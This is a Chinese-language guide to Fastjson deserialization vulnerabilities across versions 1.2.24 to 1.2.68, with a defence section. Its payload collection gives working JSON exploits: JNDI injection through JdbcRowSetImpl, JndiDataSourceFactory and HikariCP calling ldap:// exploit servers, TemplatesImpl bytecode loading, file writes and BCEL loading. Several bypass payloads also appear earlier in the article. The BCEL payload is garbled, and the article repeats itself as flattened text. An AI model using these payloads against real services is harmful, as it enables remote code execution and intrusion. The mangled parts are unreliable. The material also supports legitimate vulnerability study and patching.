JAVA之Fastjson漏洞大宝典集合
字数 2331 2025-08-20 18:18:23

Fastjson反序列化漏洞深度解析与防御指南

一、Fastjson基础与漏洞原理

1.1 Fastjson基础机制

Fastjson是阿里巴巴开源的Java JSON处理库,其核心功能包括:

  • 序列化JSON.toJSONString(),可通过SerializerFeature.WriteClassName选项在JSON中加入@type字段
  • 反序列化JSON.parse()JSON.parseObject(),当存在@type时会尝试反序列化为指定类对象

AutoType机制:Fastjson的核心特性,能根据@type自动反序列化成具体类对象,这也是多数漏洞的根源。

1.2 漏洞基本原理

Fastjson反序列化时,会执行目标类的:

  1. 构造函数
  2. getter方法
  3. setter方法
  4. is方法

当这些方法中存在危险操作时,攻击者通过构造恶意序列化数据即可触发漏洞。

二、各版本漏洞详解

2.1 Fastjson ≤1.2.24 (无AutoType限制)

漏洞点:默认使用@type指定任意类,无任何过滤机制。

利用方式

String json = "{\"@type\":\"FastjsonDemo.fastJsonDemo1.Student\",\"age\":18,\"name\":\"5wimming\"}";
Student student = JSON.parseObject(json, Student.class, Feature.SupportNonPublicField);

典型攻击链

  1. TemplatesImpl链

    • 利用com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
    • 通过_bytecodes加载恶意字节码
    • 要求父类为AbstractTranslet
    • 最终通过newInstance()实例化
  2. JdbcRowSetImpl链

    • 利用com.sun.rowset.JdbcRowSetImpl
    • 通过setAutoCommit()触发JNDI注入
    • 控制dataSourceName实现RCE

2.2 Fastjson 1.2.25-1.2.41 (AutoType机制绕过)

防御机制

  • 引入checkAutoType安全机制
  • 默认关闭autoTypeSupport
  • 设置黑名单(denyList)和白名单(acceptList)

绕过方式

  • 开启autoType后,通过类描述符绕过:
    {
      "@type":"[com.sun.rowset.JdbcRowSetImpl;",
      "dataSourceName":"ldap://127.0.0.1:1234/Exploit",
      "autoCommit":true
    }
    

2.3 Fastjson 1.2.42-1.2.43 (二次绕过)

防御改进

  • 增加对类描述符的检测
  • 引入Hash校验黑名单

新绕过方式

  • 使用双类描述符:
    {
      "@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
      "dataSourceName":"ldap://127.0.0.1:1234/Exploit",
      "autoCommit":true
    }
    
  • 1.2.43中还可使用[字符绕过

2.4 Fastjson 1.2.44-1.2.47 (关键漏洞)

1.2.44:基本修复了之前的绕过方式

1.2.45:黑名单绕过

  • 利用org.apache.ibatis.datasource.jndi.JndiDataSourceFactory
  • 需要目标存在mybatis 3.x.x~3.5.0的jar包

1.2.47:严重漏洞,无需开启autoTypeSupport

  • 利用TypeUtils.getClassFromMapping缓存机制
  • 通过Class.class提前加载恶意类名到mappings中
  • 完整攻击链:
    1. 通过parser.parseObject解析JSON
    2. 绕过AutoTypeSupport检测
    3. 设置resolveStatusTypeNameRedirect
    4. 通过MiscCodec.deserialze()处理class类型
    5. 恶意类被缓存到mappings中
    6. 二次请求实现反序列化

2.5 Fastjson 1.2.48-1.2.68 (后续绕过)

1.2.48修复

  • 设置MiscCodec处理Class类时cache=false
  • loadClass默认不缓存

1.2.68新绕过

  • 利用expectClass绕过checkAutoType()
  • 使用ThrowableAutoCloseable子类绕过
  • 示例:
    {
      "@type": "java.lang.AutoCloseable",
      "@type": "org.apache.commons.compress.compressors.gzip.GzipCompressorOutputStream",
      "out": {
        "@type": "java.io.FileOutputStream",
        "file": "/path/to/target"
      },
      "parameters": {
        "@type": "org.apache.commons.compress.compressors.gzip.GzipParameters",
        "filename": "filecontent"
      }
    }
    

三、漏洞利用Payload集合

3.1 常见利用类

  1. JdbcRowSetImpl

    {
      "@type": "com.sun.rowset.JdbcRowSetImpl",
      "dataSourceName": "ldap://127.0.0.1:23457/Command8",
      "autoCommit": true
    }
    
  2. TemplatesImpl

    {
      "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
      "_bytecodes": ["yv66vgA...k="],
      '_name': 'su18',
      '_tfactory': {},
      "_outputProperties": {}
    }
    
  3. JndiDataSourceFactory

    {
      "@type": "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
      "properties": {
        "data_source": "ldap://127.0.0.1:23457/Command8"
      }
    }
    

3.2 其他利用类

  1. 文件操作

    {
      "@type":"java.lang.AutoCloseable",
      "@type":"java.io.FileWriter",
      "file":"/tmp/nonexist",
      "append":false
    }
    
  2. BCEL加载

    {
      "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
      "driverClassName": "true",
      "driverClassLoader": {
        "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
      },
      "driverClassName": "
    

\[BCEL \]

\(l\)8b\(I$A$A$A$A$A$A\)A...o\(V$A\)A"
}


3. **HikariCP利用**:
```json
{
  "@type": "com.zaxxer.hikari.HikariConfig",
  "metricRegistry": "ldap://127.0.0.1:23457/Command8"
}

四、防御建议

  1. 升级到最新版本:目前安全版本为1.2.83及以上

  2. 安全配置

    ParserConfig.getGlobalInstance().setSafeMode(true); // 启用安全模式
    
  3. 代码层面防御

    • 禁用SerializerFeature.WriteClassName
    • 避免反序列化不可信数据
    • 使用白名单机制
  4. 网络层面

    • 限制出网请求
    • 监控异常JNDI请求
  5. 运行时防护

    • 使用SecurityManager
    • 监控可疑类加载行为

五、漏洞分析工具与方法

  1. 调试环境搭建

    <dependency>
      <groupId>com.alibaba</groupId>
      <artifactId>fastjson</artifactId>
      <version>1.2.24</version> <!-- 指定测试版本 -->
    </dependency>
    
  2. 关键分析点

    • com.alibaba.fastjson.parser.ParserConfig#checkAutoType
    • TypeUtils#loadClass
    • MiscCodec#deserialze
  3. 调用链分析技巧

    • 关注getter/setter方法中的危险操作
    • 跟踪@type指定的类加载过程
    • 分析黑名单过滤逻辑

六、总结

Fastjson反序列化漏洞的本质在于其AutoType机制和Java反射的结合,攻击者通过精心构造的JSON数据可以触发远程代码执行。从1.2.24到1.2.68,虽然防御机制不断升级,但由于Java生态的复杂性和Fastjson的广泛使用,仍然存在各种绕过方式。

防御的关键在于:

  1. 及时升级到安全版本
  2. 启用安全模式
  3. 严格控制反序列化的数据来源
  4. 加强运行时监控

对于开发者而言,理解Fastjson的工作原理和漏洞形成机制,才能更好地规避安全风险,构建安全的Java应用。

Fastjson反序列化漏洞深度解析与防御指南 一、Fastjson基础与漏洞原理 1.1 Fastjson基础机制 Fastjson是阿里巴巴开源的Java JSON处理库,其核心功能包括: 序列化 : JSON.toJSONString() ,可通过 SerializerFeature.WriteClassName 选项在JSON中加入 @type 字段 反序列化 : JSON.parse() 和 JSON.parseObject() ,当存在 @type 时会尝试反序列化为指定类对象 AutoType机制 :Fastjson的核心特性,能根据 @type 自动反序列化成具体类对象,这也是多数漏洞的根源。 1.2 漏洞基本原理 Fastjson反序列化时,会执行目标类的: 构造函数 getter方法 setter方法 is方法 当这些方法中存在危险操作时,攻击者通过构造恶意序列化数据即可触发漏洞。 二、各版本漏洞详解 2.1 Fastjson ≤1.2.24 (无AutoType限制) 漏洞点 :默认使用 @type 指定任意类,无任何过滤机制。 利用方式 : 典型攻击链 : TemplatesImpl链 : 利用 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 通过 _bytecodes 加载恶意字节码 要求父类为 AbstractTranslet 最终通过 newInstance() 实例化 JdbcRowSetImpl链 : 利用 com.sun.rowset.JdbcRowSetImpl 通过 setAutoCommit() 触发JNDI注入 控制 dataSourceName 实现RCE 2.2 Fastjson 1.2.25-1.2.41 (AutoType机制绕过) 防御机制 : 引入 checkAutoType 安全机制 默认关闭 autoTypeSupport 设置黑名单( denyList )和白名单( acceptList ) 绕过方式 : 开启 autoType 后,通过类描述符绕过: 2.3 Fastjson 1.2.42-1.2.43 (二次绕过) 防御改进 : 增加对类描述符的检测 引入Hash校验黑名单 新绕过方式 : 使用双类描述符: 1.2.43中还可使用 [ 字符绕过 2.4 Fastjson 1.2.44-1.2.47 (关键漏洞) 1.2.44 :基本修复了之前的绕过方式 1.2.45 :黑名单绕过 利用 org.apache.ibatis.datasource.jndi.JndiDataSourceFactory 需要目标存在mybatis 3.x.x~3.5.0的jar包 1.2.47 :严重漏洞,无需开启autoTypeSupport 利用 TypeUtils.getClassFromMapping 缓存机制 通过 Class.class 提前加载恶意类名到mappings中 完整攻击链: 通过 parser.parseObject 解析JSON 绕过 AutoTypeSupport 检测 设置 resolveStatus 为 TypeNameRedirect 通过 MiscCodec.deserialze() 处理class类型 恶意类被缓存到mappings中 二次请求实现反序列化 2.5 Fastjson 1.2.48-1.2.68 (后续绕过) 1.2.48修复 : 设置 MiscCodec 处理Class类时 cache=false loadClass 默认不缓存 1.2.68新绕过 : 利用 expectClass 绕过 checkAutoType() 使用 Throwable 和 AutoCloseable 子类绕过 示例: 三、漏洞利用Payload集合 3.1 常见利用类 JdbcRowSetImpl : TemplatesImpl : JndiDataSourceFactory : 3.2 其他利用类 文件操作 : BCEL加载 : HikariCP利用 : 四、防御建议 升级到最新版本 :目前安全版本为1.2.83及以上 安全配置 : 代码层面防御 : 禁用 SerializerFeature.WriteClassName 避免反序列化不可信数据 使用白名单机制 网络层面 : 限制出网请求 监控异常JNDI请求 运行时防护 : 使用SecurityManager 监控可疑类加载行为 五、漏洞分析工具与方法 调试环境搭建 : 关键分析点 : com.alibaba.fastjson.parser.ParserConfig#checkAutoType TypeUtils#loadClass MiscCodec#deserialze 调用链分析技巧 : 关注 getter / setter 方法中的危险操作 跟踪 @type 指定的类加载过程 分析黑名单过滤逻辑 六、总结 Fastjson反序列化漏洞的本质在于其AutoType机制和Java反射的结合,攻击者通过精心构造的JSON数据可以触发远程代码执行。从1.2.24到1.2.68,虽然防御机制不断升级,但由于Java生态的复杂性和Fastjson的广泛使用,仍然存在各种绕过方式。 防御的关键在于: 及时升级到安全版本 启用安全模式 严格控制反序列化的数据来源 加强运行时监控 对于开发者而言,理解Fastjson的工作原理和漏洞形成机制,才能更好地规避安全风险,构建安全的Java应用。